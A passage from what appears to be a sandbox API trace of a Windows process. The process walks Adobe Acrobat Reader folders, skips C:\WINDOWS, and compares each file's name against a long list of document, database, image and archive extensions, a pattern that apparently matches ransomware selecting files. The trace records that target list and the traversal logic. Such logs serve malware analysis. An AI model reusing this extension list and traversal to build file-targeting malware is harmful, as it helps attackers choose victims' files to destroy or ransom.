lpString2=".js") returned -1 [0264.863] lstrlenW (lpString=".dtd") returned 4 [0264.864] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".dwg") returned 4 [0264.864] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".dwt") returned 4 [0264.864] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".dx") returned 3 [0264.864] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.864] lstrlenW (lpString=".dxf") returned 4 [0264.864] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".edml") returned 5 [0264.864] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.864] lstrlenW (lpString=".efd") returned 4 [0264.864] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".elf") returned 4 [0264.864] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.864] lstrlenW (lpString=".emf") returned 4 [0264.865] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".emz") returned 4 [0264.865] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".epf") returned 4 [0264.865] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".eps") returned 4 [0264.865] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".epsf") returned 5 [0264.865] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0264.865] lstrlenW (lpString=".epsp") returned 5 [0264.865] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0264.865] lstrlenW (lpString=".erf") returned 4 [0264.865] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".exr") returned 4 [0264.865] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".f4v") returned 4 [0264.865] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0264.865] lstrlenW (lpString=".fido") returned 5 [0264.866] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0264.866] lstrlenW (lpString=".flm") returned 4 [0264.866] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0264.866] lstrlenW (lpString=".flv") returned 4 [0264.866] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0264.866] lstrlenW (lpString=".frm") returned 4 [0264.866] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0264.866] lstrlenW (lpString=".fxg") returned 4 [0264.866] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0264.866] lstrlenW (lpString=".geo") returned 4 [0264.866] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".gif") returned 4 [0264.867] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".grs") returned 4 [0264.867] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".gz") returned 3 [0264.867] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.867] lstrlenW (lpString=".h") returned 2 [0264.867] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.867] lstrlenW (lpString=".hdr") returned 4 [0264.867] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".hpp") returned 4 [0264.867] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".hta") returned 4 [0264.867] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".htc") returned 4 [0264.867] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".htm") returned 4 [0264.867] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0264.867] lstrlenW (lpString=".html") returned 5 [0264.867] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0264.867] lstrlenW (lpString=".icb") returned 4 [0264.867] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".ics") returned 4 [0264.868] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".iff") returned 4 [0264.868] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".inc") returned 4 [0264.868] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".indd") returned 5 [0264.868] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0264.868] lstrlenW (lpString=".ini") returned 4 [0264.868] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".iqy") returned 4 [0264.868] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".j2c") returned 4 [0264.868] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".j2k") returned 4 [0264.868] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0264.868] lstrlenW (lpString=".java") returned 5 [0264.868] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0264.868] lstrlenW (lpString=".jp2") returned 4 [0264.868] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".jpc") returned 4 [0264.869] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".jpe") returned 4 [0264.869] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".jpeg") returned 5 [0264.869] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0264.869] lstrlenW (lpString=".jpf") returned 4 [0264.869] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".jpg") returned 4 [0264.869] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".jpx") returned 4 [0264.869] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0264.869] lstrlenW (lpString=".js") returned 3 [0264.869] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.869] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.869] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0264.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.870] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0264.870] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 106 [0264.870] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 1 [0264.870] lstrlenW (lpString="en-ae") returned 5 [0264.870] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-ae") returned -1 [0264.870] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.870] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae") returned 106 [0264.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0264.877] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.877] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.877] lstrlenW (lpString="ui-strings.js") returned 13 [0264.877] lstrlenW (lpString=".1cd") returned 4 [0264.877] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.877] lstrlenW (lpString=".3ds") returned 4 [0264.877] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.877] lstrlenW (lpString=".3fr") returned 4 [0264.878] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.878] lstrlenW (lpString=".3g2") returned 4 [0264.878] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.878] lstrlenW (lpString=".3gp") returned 4 [0264.878] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.878] lstrlenW (lpString=".7z") returned 3 [0264.878] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.878] lstrlenW (lpString=".accda") returned 6 [0264.878] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".accdb") returned 6 [0264.878] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".accdc") returned 6 [0264.878] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".accde") returned 6 [0264.878] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".accdt") returned 6 [0264.878] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".accdw") returned 6 [0264.878] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.878] lstrlenW (lpString=".adb") returned 4 [0264.878] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.878] lstrlenW (lpString=".adp") returned 4 [0264.878] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.878] lstrlenW (lpString=".ai") returned 3 [0264.879] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.879] lstrlenW (lpString=".ai3") returned 4 [0264.879] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".ai4") returned 4 [0264.879] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".ai5") returned 4 [0264.879] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".ai6") returned 4 [0264.879] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".ai7") returned 4 [0264.879] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".ai8") returned 4 [0264.879] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".anim") returned 5 [0264.879] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.879] lstrlenW (lpString=".arw") returned 4 [0264.879] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.879] lstrlenW (lpString=".as") returned 3 [0264.879] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.879] lstrlenW (lpString=".asa") returned 4 [0265.060] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.060] lstrlenW (lpString=".asc") returned 4 [0265.060] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.060] lstrlenW (lpString=".ascx") returned 5 [0265.060] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.060] lstrlenW (lpString=".asm") returned 4 [0265.060] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.060] lstrlenW (lpString=".asmx") returned 5 [0265.060] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.060] lstrlenW (lpString=".asp") returned 4 [0265.060] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.060] lstrlenW (lpString=".aspx") returned 5 [0265.060] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.060] lstrlenW (lpString=".asr") returned 4 [0265.060] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".asx") returned 4 [0265.061] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".avi") returned 4 [0265.061] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".avs") returned 4 [0265.061] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".backup") returned 7 [0265.061] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.061] lstrlenW (lpString=".bak") returned 4 [0265.061] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".bay") returned 4 [0265.061] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".bd") returned 3 [0265.061] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.061] lstrlenW (lpString=".bin") returned 4 [0265.061] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".bmp") returned 4 [0265.061] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".bz2") returned 4 [0265.061] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".c") returned 2 [0265.061] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.061] lstrlenW (lpString=".cdr") returned 4 [0265.061] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.061] lstrlenW (lpString=".cer") returned 4 [0265.062] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".cf") returned 3 [0265.062] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.062] lstrlenW (lpString=".cfc") returned 4 [0265.062] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".cfm") returned 4 [0265.062] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".cfml") returned 5 [0265.062] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.062] lstrlenW (lpString=".cfu") returned 4 [0265.062] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".chm") returned 4 [0265.062] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".cin") returned 4 [0265.062] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".class") returned 6 [0265.062] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.062] lstrlenW (lpString=".clx") returned 4 [0265.062] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".config") returned 7 [0265.062] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.062] lstrlenW (lpString=".cpp") returned 4 [0265.062] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".cr2") returned 4 [0265.062] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".crt") returned 4 [0265.062] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.062] lstrlenW (lpString=".crw") returned 4 [0265.063] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".cs") returned 3 [0265.063] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.063] lstrlenW (lpString=".css") returned 4 [0265.063] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".csv") returned 4 [0265.063] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".cub") returned 4 [0265.063] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dae") returned 4 [0265.063] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dat") returned 4 [0265.063] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".db") returned 3 [0265.063] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.063] lstrlenW (lpString=".dbf") returned 4 [0265.063] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dbx") returned 4 [0265.063] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dc3") returned 4 [0265.063] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dcm") returned 4 [0265.063] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dcr") returned 4 [0265.063] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".der") returned 4 [0265.063] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.063] lstrlenW (lpString=".dib") returned 4 [0265.063] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dic") returned 4 [0265.064] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dif") returned 4 [0265.064] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".divx") returned 5 [0265.064] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".djvu") returned 5 [0265.064] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".dng") returned 4 [0265.064] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".doc") returned 4 [0265.064] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".docm") returned 5 [0265.064] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".docx") returned 5 [0265.064] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".dot") returned 4 [0265.064] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dotm") returned 5 [0265.064] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".dotx") returned 5 [0265.064] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.064] lstrlenW (lpString=".dpx") returned 4 [0265.064] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dqy") returned 4 [0265.064] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dsn") returned 4 [0265.064] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.064] lstrlenW (lpString=".dt") returned 3 [0265.064] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.065] lstrlenW (lpString=".dtd") returned 4 [0265.065] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".dwg") returned 4 [0265.065] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".dwt") returned 4 [0265.065] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".dx") returned 3 [0265.065] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.065] lstrlenW (lpString=".dxf") returned 4 [0265.065] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".edml") returned 5 [0265.065] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.065] lstrlenW (lpString=".efd") returned 4 [0265.065] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".elf") returned 4 [0265.065] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".emf") returned 4 [0265.065] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".emz") returned 4 [0265.065] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".epf") returned 4 [0265.065] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.065] lstrlenW (lpString=".eps") returned 4 [0265.065] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.066] lstrlenW (lpString=".epsf") returned 5 [0265.066] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.066] lstrlenW (lpString=".epsp") returned 5 [0265.066] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.066] lstrlenW (lpString=".erf") returned 4 [0265.066] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.066] lstrlenW (lpString=".exr") returned 4 [0265.066] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.066] lstrlenW (lpString=".f4v") returned 4 [0265.066] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.066] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.066] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0265.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0265.068] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0265.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0265.069] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.069] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.069] lstrlenW (lpString="ui-strings.js") returned 13 [0265.069] lstrlenW (lpString=".1cd") returned 4 [0265.069] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.069] lstrlenW (lpString=".3ds") returned 4 [0265.070] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.070] lstrlenW (lpString=".3fr") returned 4 [0265.070] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.070] lstrlenW (lpString=".3g2") returned 4 [0265.070] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.070] lstrlenW (lpString=".3gp") returned 4 [0265.070] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.070] lstrlenW (lpString=".7z") returned 3 [0265.070] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.070] lstrlenW (lpString=".accda") returned 6 [0265.070] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".accdb") returned 6 [0265.070] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".accdc") returned 6 [0265.070] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".accde") returned 6 [0265.070] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".accdt") returned 6 [0265.070] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".accdw") returned 6 [0265.070] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.070] lstrlenW (lpString=".adb") returned 4 [0265.070] 